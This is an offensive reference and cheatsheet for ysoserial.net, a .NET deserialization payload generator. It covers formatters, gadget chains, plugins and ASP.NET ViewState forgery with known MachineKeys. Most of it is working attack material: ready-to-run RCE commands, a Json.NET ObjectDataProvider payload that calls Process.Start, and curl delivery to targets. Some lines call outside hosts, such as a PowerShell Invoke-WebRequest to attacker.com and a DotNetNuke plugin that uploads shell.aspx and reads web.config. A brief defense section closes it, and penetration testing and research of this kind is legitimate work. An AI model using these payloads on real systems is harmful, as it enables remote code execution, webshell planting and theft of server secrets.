Maintainers: Alvaro Munoz (@pwntester) / Soroush Dalili (@irsdl)
Repo: https://github.com/pwntester/ysoserial.net
Description: Deserialization payload generator for a variety of .NET formatters, inspired by Chris Frohoff's Java ysoserial
Branches:master(.NET 4.5+),v2(legacy support down to .NET 3.5/4.0)
Target Platform: .NET Framework / Windows (build via Visual Studio or MSBuild)
Overview
ysoserial.net is the .NET counterpart to Frohoff's Java ysoserial — a payload generator for exploiting insecure deserialization in .NET applications. Where the Java tool targets a single serialization format (native Java serialization) with many gadget chains, ysoserial.net targets multiple .NET formatters (BinaryFormatter, ObjectStateFormatter, SoapFormatter, LosFormatter, NetDataContractSerializer, Json.NET, DataContractSerializer, XmlSerializer, FastJson, JavaScriptSerializer, YamlDotNet) each with their own subset of applicable gadgets. This makes formatter identification the critical first step before picking a gadget — a gadget that works against BinaryFormatter may not exist for Json.NET.
Key capabilities:
- Generate RCE payloads across 7+ .NET serialization formatters
- Purpose-built
ViewStateplugin to forge ASP.NET__VIEWSTATEpayloads when the MachineKey (validationKey/decryptionKey) is known or MAC validation is disabled - Plugins for specific real-world sinks: DotNetNuke CVE-2017-9822, RESX/
.resourcesfiles, clipboard-based payloads, session tokens, transaction manager re-enlistment ActivitySurrogateSelectorfamily for bypassing .NET 4.8+BinaryFormattertype-check hardening- Fine-grained control over payload minification, output encoding (raw/base64), and gadget internals for WAF/signature evasion
What ysoserial.net is NOT: like its Java counterpart, it doesn't discover deserialization sinks or fingerprint remote formatters for you — companion tools like Blacklist3r (MachineKey identification) and manual application analysis fill that gap.
How .NET Deserialization Attacks Work
┌────────────────────────────────────────┐
│ Vulnerable .NET Application │
│ Formatter.Deserialize(untrusted_data) │
└───────────────────┬────────────────────┘
│
Deserializes attacker-controlled bytes
│
┌───────────────────────────┼───────────────────────────┐
│ │ │
BinaryFormatter ObjectStateFormatter Json.NET (with
.Deserialize() (ASP.NET ViewState) TypeNameHandling
│ │ enabled)
│ │ │
Type instantiated MAC-validated, then $type property
via reflection formatter-deserialized drives arbitrary
based on embedded object graph type instantiation
type metadata │ │
└───────────────────────────┼───────────────────────────┘
│
Chain terminates in a "sink":
Delegate.Invoke() / Process.Start() / XAML LoadXaml() / ObjectDataProvider.MethodName
│
Command Execution
Why this works: Several .NET formatters embed full type information (assembly-qualified type names) in the serialized stream and instantiate those types automatically during deserialization — with no restriction on which types are allowed by default. If a type reachable via the classpath (GAC + app's own assemblies) has a constructor, property setter, or deserialization callback that reaches a dangerous sink (delegate invocation, process creation, XAML parsing), an attacker who controls the serialized bytes controls execution — again, often without any application logic running first.
Formatter risk tiers (roughly, most to least dangerous by default):
| Formatter | Risk | Notes |
|---|---|---|
BinaryFormatter |
Critical | No built-in type restriction pre-.NET 5; Microsoft has deprecated it entirely, removed in .NET 9 |
NetDataContractSerializer |
Critical | Same class of issue as BinaryFormatter — embeds full type info |
SoapFormatter |
Critical | XML-based but equally dangerous, same underlying IFormatter model |
LosFormatter |
Critical | Used internally for ASP.NET ViewState/ControlState |
ObjectStateFormatter |
Critical (unless MAC-protected) | The actual formatter behind ViewState; protected by validation/encryption keys when configured correctly |
Json.NET |
Conditional | Only exploitable if TypeNameHandling is set to Auto/All/Objects/Arrays (not default) |
DataContractSerializer |
Low | Requires KnownTypes misconfiguration, much narrower attack surface |
XmlSerializer |
Low | Generally safe by design — requires unusual gadget setups (e.g., ObjectDataProvider via XAML-adjacent tricks) |
FastJson / JavaScriptSerializer |
Conditional | Depends on type-binding configuration |
Build & Setup
Building from Source (Windows)
# Install prerequisites via Chocolatey
Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
choco install visualstudio2022community --yes
choco install visualstudio2022-workload-nativedesktop --yes
choco install msbuild.communitytasks --yes
choco install nuget.commandline --yes
choco install git --yes
# Clone and build
git clone https://github.com/pwntester/ysoserial.net
cd ysoserial.net
nuget restore ysoserial.sln
msbuild ysoserial.sln -p:Configuration=Release
# Binary output
.\ysoserial\bin\Release\ysoserial.exe -h
Pre-built Releases
# GitHub releases page ships pre-compiled binaries
# https://github.com/pwntester/ysoserial.net/releases
Branch Selection: master vs v2
master -> targets .NET Framework 4.5+ (modern ViewState generator algorithm, newer gadgets)
v2 -> targets .NET Framework 3.5/4.0 (legacy ViewState generator, use --islegacy)
Always check the target's .NET Framework version (via X-AspNet-Version header, error stack traces, or web.config) before choosing a branch — using the wrong branch's ViewState generator ID scheme produces payloads that fail MAC validation even with correct keys.
Basic Usage
# General syntax
ysoserial.exe -f <formatter> -g <gadget> -o <raw|base64> -c "<command>"
# List all formatters, gadgets, and plugins
ysoserial.exe --fullhelp
# Basic BinaryFormatter + TypeConfuseDelegate payload
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
# Save raw bytes to file
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o raw > payload.bin
# Test payload execution locally before sending to target (sandbox-safe check)
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" --test
Core flags:
| Flag | Description |
|---|---|
-f, --formatter=VALUE |
Target formatter (BinaryFormatter, Json.Net, LosFormatter, etc.) |
-g, --gadget=VALUE |
Gadget chain to use |
-c, --command=VALUE |
Command to execute on the target |
-o, --output=VALUE |
Output format: raw or base64 |
-p, --plugin=VALUE |
Use a plugin instead of a raw formatter/gadget combo |
-t, --test |
Attempt to deserialize the payload locally to verify it works before sending |
--minify |
Minify payload where applicable (experimental, reduces size for constrained inputs) |
Formatters Reference
# List gadgets compatible with a specific formatter
ysoserial.exe --fullhelp
| Formatter | Common Use Case | Notes |
|---|---|---|
BinaryFormatter |
Generic .NET serialization, message queues, caching layers, remoting | Widest gadget support in ysoserial.net |
SoapFormatter |
Older .NET Remoting endpoints | XML-based encoding of the same object graph model |
LosFormatter |
Internal ViewState/ControlState mechanics | Rarely targeted directly — use the ViewState plugin instead |
ObjectStateFormatter |
ASP.NET __VIEWSTATE |
Use the ViewState plugin, not raw -f ObjectStateFormatter |
NetDataContractSerializer |
WCF endpoints configured with NetDataContractSerializer |
Same danger class as BinaryFormatter |
Json.Net |
REST APIs using Newtonsoft.Json with TypeNameHandling misconfigured |
Requires confirming TypeNameHandling.Auto/All/Objects/Arrays server-side |
DataContractSerializer |
WCF services | Narrow gadget set, requires specific KnownTypes misconfig |
XmlSerializer |
Legacy web services | Very limited gadget applicability |
FastJson |
Some legacy JSON APIs | Conditional on type-binding config |
JavaScriptSerializer |
ASP.NET AJAX-era JSON handling | Conditional on JavaScriptTypeResolver usage |
YamlDotNet (< 5.0.0) |
YAML-consuming .NET apps | Version-gated — patched in 5.0.0+ |
# Example: Json.Net payload using ObjectDataProvider (works when TypeNameHandling is enabled)
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t '{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values":["cmd","/ccalc"]
},
"ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}'
Gadget Chains Reference
TypeConfuseDelegate
The most broadly portable gadget — abuses MulticastDelegate's internal _invocationList field via reflection to redirect a delegate call chain into Process.Start().
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64
| Supported Formatters | Discovered By |
|---|---|
| BinaryFormatter, NetDataContractSerializer, LosFormatter | James Forshaw |
Mono targets: use TypeConfuseDelegateMono — a tweaked variant of the same gadget for Mono runtimes instead of the standard .NET Framework CLR.
ObjectDataProvider
Abuses WPF's ObjectDataProvider class, which is designed to call a method on an object as part of data binding — but during deserialization, that method call becomes attacker-controlled with attacker-controlled arguments.
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -o raw
ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "calc" -o raw
| Supported Formatters | Discovered By |
|---|---|
| Json.Net, FastJson, JavaScriptSerializer, XmlSerializer, DataContractSerializer, YamlDotNet < 5.0.0 | Alvaro Munoz, Oleksandr Mirosh |
Highest-value gadget for JSON-based APIs since it applies across nearly every JSON/XML serializer ysoserial.net supports, not just BinaryFormatter-family formatters.
ActivitySurrogateSelector Family
Targets System.Workflow.ComponentModel.ActivitySurrogateSelector, historically one of the most powerful BinaryFormatter gadgets because it allows loading and executing arbitrary compiled assembly bytes during deserialization — not just a fixed method call.
# Base gadget
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelector -c "calc.exe" -o base64
# Bypasses .NET 4.8+ hardening that disabled ActivitySurrogateSelector by default
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateDisableTypeCheck -c "calc.exe" -o base64
# Variant that loads payload from a file reference instead of embedding it inline
ysoserial.exe -f SoapFormatter -g ActivitySurrogateSelectorFromFile -c "calc.exe" -o base64
| Gadget | Notes |
|---|---|
ActivitySurrogateSelector |
Original gadget (James Forshaw); patched/disabled by default in .NET 4.8+ |
ActivitySurrogateDisableTypeCheck |
Disables the 4.8+ type-check protection specifically to re-enable the above (Nick Landers) |
ActivitySurrogateSelectorFromFile |
File-reference variant for SoapFormatter contexts |
OPSEC/engagement note: if the target is patched to .NET Framework 4.8+, always pair ActivitySurrogateSelector with ActivitySurrogateDisableTypeCheck, or the gadget will silently fail against the newer type-check guard.
TextFormattingRunProperties
Short, WAF-friendly payload — frequently the default choice for the ViewState plugin because of its compact size and reliability across .NET Framework versions.
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "calc.exe" -o base64
Preferred inside the ViewState plugin specifically because its short length reduces the chance of hitting request-size WAF rules, and it doesn't rely on the more fragile reflection tricks TypeConfuseDelegate uses.
Other Notable Gadgets
# PSObject — requires target unpatched for CVE-2017-8565 (July 2017)
ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc"
# WindowsIdentity / WindowsClaimsIdentity — identity-model based gadgets
ysoserial.exe -f Json.Net -g WindowsIdentity -c "calc" -o raw
# DataSet / DataSetOldBehaviour / DataSetTypeSpoof — abuse System.Data.DataSet deserialization quirks
ysoserial.exe -f Json.Net -g DataSet -c "calc" -o raw
# ClaimsPrincipal / ClaimsIdentity — WIF (Windows Identity Foundation) chains
ysoserial.exe -f Json.Net -g ClaimsPrincipal -c "calc" -o raw
# RolePrincipal / SessionSecurityToken — bridge gadgets, often paired with plugin-based delivery
ysoserial.exe -f DataContractSerializer -g RolePrincipal -c "calc" -o raw
# AxHostState — ActiveX control state abuse
ysoserial.exe -f BinaryFormatter -g AxHostState -c "calc" -o base64
| Payload | Formatters | Notes |
|---|---|---|
PSObject |
BinaryFormatter, LosFormatter, NetDataContractSerializer, SoapFormatter | Requires CVE-2017-8565 unpatched target |
ResourceSet |
BinaryFormatter, LosFormatter, NetDataContractSerializer | Not a standalone gadget — wraps TypeConfuseDelegate internally, use --internalgadget to pick underlying primitive |
RolePrincipal |
BinaryFormatter, DataContractSerializer, Json.NET, LosFormatter, NetDataContractSerializer, SoapFormatter | "Bridge and derived" — chains into another gadget |
SessionSecurityToken |
Multiple | Requires DPAPI in some plugin contexts |
ToolboxItemContainer |
BinaryFormatter, LosFormatter, SoapFormatter | Bridge gadget |
WindowsClaimsIdentity |
Multiple | Requires Microsoft.IdentityModel.Claims namespace, not always in GAC |
--ig, --internalgadget=VALUE — for bridge gadgets like ResourceSet, selects the underlying primitive: 1=TypeConfuseDelegate (default), 2=TextFormattingRunProperties.
Plugins Reference
Plugins wrap formatter+gadget combinations into ready-to-use payloads for specific real-world attack surfaces, handling protocol-specific framing (encryption, MAC, XML wrapping) that a raw -f/-g combo doesn't.
ViewState Plugin
By far the highest-value plugin for web application engagements — forges ASP.NET __VIEWSTATE payloads. See the dedicated deep-dive section below for full workflow.
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" \
--validationalg="SHA1" --validationkey="<key>" --generator="<gen_id>"
Resx Plugin
Generates .resx/.resources files that trigger deserialization when viewed in Visual Studio, loaded by a vulnerable app, or processed via reflection-based resource loading.
# Generate a .resx payload (BinaryFormatter, TypeConfuseDelegate internally)
ysoserial.exe -p Resx -M BinaryFormatter -c "calc.exe" -o payload.resx
# Compile to .resources for CVE-2020-0932-style delivery
resgen.exe payload.resx
References: NCC Group's "ASP.NET resource files (RESX) and deserialisation issues" — relevant when an app allows uploading/loading arbitrary .resx/.resource files (common in CMS-style applications).
Other Plugins
# altserialization — HttpStaticObjectsCollection or SessionStateItemCollection payloads
ysoserial.exe -p altserialization -c "calc.exe"
# ApplicationTrust — XML payload for System.Security.Policy.ApplicationTrust (uses TypeConfuseDelegate internally)
ysoserial.exe -p ApplicationTrust -c "calc.exe"
# Clipboard — generates a DataObject payload and copies it directly to the clipboard
# (useful for paste-triggered deserialization in vulnerable desktop apps)
ysoserial.exe -p Clipboard -c "calc.exe"
# DotNetNuke — targets CVE-2017-9822 (DNN Cookie deserialization RCE)
ysoserial.exe -p DotNetNuke -m run_command -c "whoami"
ysoserial.exe -p DotNetNuke -m read_file -f "C:\web.config"
ysoserial.exe -p DotNetNuke -m upload_file -u "http://attacker/shell.aspx" -f "shell.aspx"
# SessionSecurityTokenHandler — XML payload for WIF SessionSecurityToken (requires DPAPI, narrow applicability)
ysoserial.exe -p SessionSecurityTokenHandler -c "calc.exe"
# TransactionManagerReenlist — abuses System.Transactions re-enlistment callback
ysoserial.exe -p TransactionManagerReenlist -c "calc.exe"
Identifying .NET Deserialization Endpoints
Byte/string-level indicators:
BinaryFormatter (base64-encoded): AAEAAAD///// (common header, "MS .NET Remoting Binary Format")
LosFormatter / ViewState (unencrypted): /wEP... ("__VIEWSTATE" typical prefix)
SoapFormatter: <SOAP-ENV:Envelope ... (raw XML)
Json.Net with TypeNameHandling: "$type":"Namespace.Class, Assembly" present in JSON body
Common real-world sinks:
- ASP.NET WebForms
__VIEWSTATEhidden field (by far the most common in the wild) .NET Remotingendpoints (TCP/HTTP channels using BinaryFormatter/SoapFormatter)- WCF services with
NetDataContractSerializeror misconfiguredDataContractSerializer - Custom REST APIs deserializing JSON with
TypeNameHandling.Auto/All(Json.NET misconfiguration — same root cause as many real CVEs) - Message queue payloads (MSMQ) using BinaryFormatter
- Forms authentication cookies, session tokens using the same ObjectStateFormatter/LosFormatter machinery as ViewState
.resx/.resourcesfiles processed by vulnerable resource-loading code
# Quick check: does an unencrypted-looking ViewState decode to expected magic?
# /wEP prefix suggests unencrypted LosFormatter-based ViewState — worth testing directly
ASP.NET ViewState Deep-Dive
ViewState is ASP.NET WebForms' mechanism for preserving page/control state across postbacks. It's serialized via ObjectStateFormatter (built on LosFormatter) and, depending on configuration, may be:
| Configuration | MAC Protected? | Encrypted? | Exploitability |
|---|---|---|---|
EnableViewStateMac=false, ViewStateEncryptionMode=false |
No | No | Directly exploitable, no keys needed |
EnableViewStateMac=true (default since .NET Framework updates, Sept 2014+) |
Yes | Configurable | Requires MachineKey (validationKey) to forge a valid MAC |
ViewStateEncryptionMode=true |
Yes | Yes | Requires both validationKey and decryptionKey |
Step 1 — Check if MAC validation is actually enforced:
Send a short random base64 string as __VIEWSTATE.
- Error response mentioning "MAC validation" -> MAC IS enforced, need keys
- Generic/different error or page loads -> MAC may be disabled, test direct injection
Step 2 — For .NET Framework ≥ 4.5 (modern ViewState generator):
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" \
--path="/somepath/testaspx/test.aspx" \
--apppath="/testaspx/" \
--decryptionalg="AES" \
--decryptionkey="<decryptionKey_from_web.config>" \
--validationalg="HMACSHA256" \
--validationkey="<validationKey_from_web.config>"
Step 3 — For .NET Framework ≤ 4.0 (legacy generator, --islegacy):
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" \
--apppath="/testaspx/" \
--islegacy \
--validationalg="SHA1" \
--validationkey="<validationKey>" \
--isdebug
Step 4 — Using --generator instead of computing path/apppath:
# __VIEWSTATEGENERATOR is often present as its own hidden field in the target's response —
# use it directly instead of reconstructing path/apppath by hand
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" \
--generator="CA0B0334" \
--validationalg="SHA1" \
--validationkey="<validationKey>"
Key ViewState plugin flags:
| Flag | Description |
|---|---|
--path=VALUE |
Full app-relative path to the target .aspx page (used to simulate TemplateSourceDirectory) |
--apppath=VALUE |
The application's virtual path root |
--islegacy |
Use the legacy generator algorithm (.NET 4.0 and below) |
--isencrypted |
Combine with --islegacy when legacy encryption is used to bypass WAFs |
--generator=VALUE |
Directly supply the __VIEWSTATEGENERATOR value instead of computing it from path/apppath |
--vsuk, --viewstateuserkey=VALUE |
Sets ViewStateUserKey (sometimes used as an anti-CSRF measure) — defeats it entirely if known |
--da, --decryptionalg=VALUE |
DES, 3DES, or AES (default: AES) |
--dk, --decryptionkey=VALUE |
decryptionKey from <machineKey> in web.config |
--va, --validationalg=VALUE |
SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES, AES (default: HMACSHA256) |
--vk, --validationkey=VALUE |
validationKey from <machineKey> in web.config |
--isdebug |
Shows debug output — useful to confirm computed __VIEWSTATEGENERATOR matches target's actual value |
--showraw |
Skip URL-encoding the output — remember to encode manually before use in most delivery contexts |
Critical delivery gotcha: if the target response includes a __VIEWSTATEENCRYPTED parameter, remove it from your forged request, or the app will attempt to decrypt your (unencrypted-relative) payload and throw a MAC validation error instead of deserializing it. Also, always URL-encode the final payload unless using --showraw intentionally with your own encoding step — forgetting this is one of the most common reasons a working payload appears to fail.
MachineKey Discovery & Blacklist3r
Since ViewState exploitation with MAC/encryption enabled requires the target's <machineKey> values, discovering or guessing them is often the actual blocker — not the payload generation itself.
Where MachineKeys come from:
- Directory traversal / LFI exposing
web.config - Pre-shared/default keys shipped in commercial products (a surprisingly common finding — vendors reuse keys across installs)
- Leaked keys in public repos, documentation, or support forums
# Blacklist3r — checks a captured __VIEWSTATE against a database of known/leaked MachineKeys
# https://github.com/NotSoSecure/Blacklist3r
AspDotNetWrapper.exe --keypath MachineKeys.txt \
--encrypteddata "<__VIEWSTATE_value>" \
--purpose=viewstate --valalgo=sha1 --decalgo=aes \
--modifier="<__VIEWSTATEGENERATOR_value>" \
--macdecode --legacy
# Python-based equivalent (blacklist3r.py from PayloadsAllTheThings ecosystem)
python examples/blacklist3r.py --viewstate "<b64_viewstate>" --generator "<generator_id>"
Once a matching key is found, feed it straight into the ysoserial.exe -p ViewState command above.
Payload Delivery Vectors
# BinaryFormatter payload via HTTP POST body (raw binary)
curl -X POST --data-binary "@payload.bin" http://target/endpoint
# Base64 payload in a cookie
curl http://target/ -H "SessionData: $(cat payload_b64.txt)"
# ViewState delivery — replace the captured __VIEWSTATE field in an intercepted POST
curl -X POST http://target/page.aspx \
--data-urlencode "__VIEWSTATE=<forged_viewstate_b64>" \
--data-urlencode "__EVENTVALIDATION=<original_captured_value>"
# Best practice: intercept a legitimate request in Burp Repeater and swap only the
# __VIEWSTATE value in place — preserves other required form/session state and avoids
# CSRF-adjacent validation failures unrelated to the deserialization itself.
Encoding & Format Conversion
# Base64 output directly from ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
# Raw bytes, then base64-encode separately if needed
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o raw > payload.bin
# URL-encode a ViewState payload for form submission (PowerShell)
Add-Type -AssemblyName System.Web
[System.Web.HttpUtility]::UrlEncode((Get-Content payload_b64.txt))
# URL-encode on Linux/attack box
python3 -c "import sys, urllib.parse; print(urllib.parse.quote(open('payload_b64.txt').read()))"
.NET Remoting Exploitation
.NET Remoting endpoints (TCP or HTTP channel, common in older enterprise .NET apps) deserialize objects directly off the wire using BinaryFormatter or SoapFormatter — making them a prime, often-unauthenticated target.
# Generate a payload targeting a .NET Remoting TCP channel
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o raw > remoting_payload.bin
# Deliver via a raw TCP connection to the remoting port (commonly custom, check via nmap/banner grab)
# Delivery framing depends on the specific remoting channel implementation —
# tools like ExploitRemotingService or a custom .NET remoting client are often needed
# to correctly wrap the payload in the expected remoting message envelope.
References for deeper remoting-specific tooling: code-white.com blog posts on "leaking objrefs to exploit HTTP .NET Remoting" and "teaching the old .NET Remoting new exploitation tricks" (see References).
Troubleshooting & Version Matching
| Symptom | Likely Cause | Fix |
|---|---|---|
| ViewState payload rejected with MAC validation error | Wrong validationKey, wrong validationalg, or master/v2 branch mismatch for target's .NET version |
Confirm exact .NET Framework version; try --islegacy with the v2 branch build |
TypeConfuseDelegate payload fails silently |
Target running .NET Framework 4.8+ with ActivitySurrogateSelector-family protections (unrelated gadget, but check if you're actually using the right one) |
Confirm you're using TypeConfuseDelegate, not ActivitySurrogateSelector, for general BinaryFormatter targets — the latter needs ActivitySurrogateDisableTypeCheck on 4.8+ |
ObjectDataProvider payload doesn't trigger via Json.Net |
TypeNameHandling not actually set to Auto/All server-side |
Confirm via error messages or behavioral testing (send a harmless $type probe) before assuming the gadget applies |
Generated __VIEWSTATEGENERATOR doesn't match target's actual value |
Incorrect --path/--apppath, or app is behind a virtual directory not accounted for |
Use --isdebug to compare computed value against the captured one; prefer --generator=<known_value> directly when available |
Payload works with --test locally but fails against target |
Target GAC/assembly versions differ from build machine (different .NET Framework patch level) | Match target's exact .NET Framework version where possible; some gadgets are version-sensitive |
Build fails on msbuild |
Missing Visual Studio native desktop workload or NuGet restore not run | Re-run nuget restore ysoserial.sln before msbuild |
Detection & Defense
(For blue-team / remediation context when reporting findings.)
- Stop using
BinaryFormatter/NetDataContractSerializer/SoapFormatterentirely — Microsoft has formally deprecatedBinaryFormatterand removed it from .NET 9+; migrate toSystem.Text.Jsonor explicit DTOs - For ViewState: always explicitly set
EnableViewStateMac=true(don't rely on defaults across all .NET Framework versions) and avoidViewStateEncryptionMode=false - Never reuse a default/vendor-shipped
<machineKey>— always generate unique per-installvalidationKey/decryptionKeyvalues; this single misconfiguration is behind a large share of real-world ViewState RCE findings - For Json.NET: never set
TypeNameHandlingtoAuto/All/Objects/Arrayson types deserializing untrusted input; useSerializationBinderallow-lists if polymorphic deserialization is genuinely required ObjectInputFilter-equivalent allow-listing where the target framework version supportsISerializationSurrogate/customSerializationBinderrestrictions- WAF/RASP signatures on payload magic strings (
AAEAAAD/////,TypeConfuseDelegate-adjacent type names, suspicious$typevalues in JSON bodies)
Common Attack Workflows
Workflow: Full ViewState RCE Chain (Known MachineKey)
# Step 1: Capture a legitimate request/response containing __VIEWSTATE and __VIEWSTATEGENERATOR
# Step 2: Confirm .NET Framework version and MAC/encryption config from response headers/errors
# Step 3: Generate the forged ViewState payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami > C:\inetpub\wwwroot\out.txt" \
--generator="CA0B0334" \
--validationalg="SHA1" \
--validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
# Step 4: Intercept a real POST to the target page in Burp Repeater
# Step 5: Replace __VIEWSTATE with the forged value; remove __VIEWSTATEENCRYPTED if present
# Step 6: Send, then verify command execution (retrieve out.txt via LFI/webshell/OOB callback)
Workflow: MachineKey Discovery -> ViewState RCE
# Step 1: Capture __VIEWSTATE and __VIEWSTATEGENERATOR from the target
# Step 2: Check against known/leaked MachineKey databases
python examples/blacklist3r.py --viewstate "<captured_b64>" --generator "<generator_id>"
# Step 3: If a match is found, feed the recovered key straight into ysoserial.net
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" \
--generator="<generator_id>" \
--validationalg="<matched_alg>" \
--validationkey="<matched_key>"
# Step 4: Deliver as above
Workflow: Json.NET API RCE (TypeNameHandling Misconfiguration)
# Step 1: Probe the API — send a harmless $type-annotated object and observe behavior
# {"$type":"System.String, mscorlib","value":"test"}
# Step 2: If the app processes $type without error, generate an ObjectDataProvider payload
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "whoami" -t '{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values":["cmd","/c whoami > C:\\out.txt"]
},
"ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}'
# Step 3: Submit as the API's normal JSON body in place of the legitimate object
curl -X POST http://target/api/endpoint -H "Content-Type: application/json" -d @payload.json
Cheatsheet
Quick reference for the most common ysoserial.net operations. Replace placeholders as needed.
Build
git clone https://github.com/pwntester/ysoserial.net
cd ysoserial.net
nuget restore ysoserial.sln
msbuild ysoserial.sln -p:Configuration=Release
# binary: .\ysoserial\bin\Release\ysoserial.exe
Basic Payload Generation
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelector -c "calc.exe" -o base64 # older targets
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateDisableTypeCheck -c "calc.exe" -o base64 # .NET 4.8+ targets
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -o raw # JSON APIs
ViewState (Most Common Real-World Use)
# .NET Framework >= 4.5, MAC + encryption enabled
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" \
--path="/site/page.aspx" --apppath="/site/" \
--decryptionalg="AES" --decryptionkey="<decKey>" \
--validationalg="HMACSHA256" --validationkey="<valKey>"
# .NET Framework <= 4.0, legacy
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--apppath="/site/" --islegacy \
--validationalg="SHA1" --validationkey="<valKey>" --isdebug
# Using known __VIEWSTATEGENERATOR directly
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" \
--generator="<gen_id>" --validationalg="SHA1" --validationkey="<valKey>"
DotNetNuke (CVE-2017-9822)
ysoserial.exe -p DotNetNuke -m run_command -c "whoami"
ysoserial.exe -p DotNetNuke -m read_file -f "C:\web.config"
ysoserial.exe -p DotNetNuke -m upload_file -u "http://attacker/shell.aspx" -f "shell.aspx"
MachineKey Recovery
python examples/blacklist3r.py --viewstate "<b64_viewstate>" --generator "<generator_id>" -M MachineKeys.txt
Encoding
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 # base64 direct
python3 -c "import sys,urllib.parse;print(urllib.parse.quote(open('p.txt').read()))" # url-encode
Local Test Before Delivery
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe" --test
Magic Byte / String Check
BinaryFormatter base64: starts with AAEAAAD/////
Unencrypted ViewState: starts with /wEP
References
- GitHub: https://github.com/pwntester/ysoserial.net
- ViewStatePayloadGenerator (related tool, same maintainer): https://github.com/pwntester/ViewStatePayloadGenerator
- Blacklist3r (MachineKey discovery): https://github.com/NotSoSecure/Blacklist3r
- Original Java ysoserial (inspiration): https://github.com/frohoff/ysoserial
- "Getting Shell with .xamlx Files" (NCC Group): https://research.nccgroup.com/2019/08/23/getting-shell-with-xamlx-files/
- "Re-Animating ActivitySurrogateSelector" (NetSPI): https://www.netspi.com/blog/technical/adversary-simulation/re-animating-activitysurrogateselector/
- "Introducing ysoserial.net April 2020 Improvements" (MDSec): https://www.mdsec.co.uk/2020/04/introducing-ysoserial-net-april-2020-improvements/
- Deep Dive into .NET ViewState Deserialization (Swapneil Dash): https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- ASP.NET Cryptography for Pentesters (Paul Mueller): https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters
- Exploiting ViewState Deserialization using Blacklist3r and ysoserial.net (NotSoSecure): https://notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net
- PayloadsAllTheThings — IIS Machine Keys: https://swisskyrepo.github.io/PayloadsAllTheThings/API%20Key%20Leaks/IIS-Machine-Keys/
- "Leaking objrefs to exploit HTTP .NET Remoting" (code white): https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/
- "Teaching the old .NET Remoting new exploitation tricks" (code white): https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/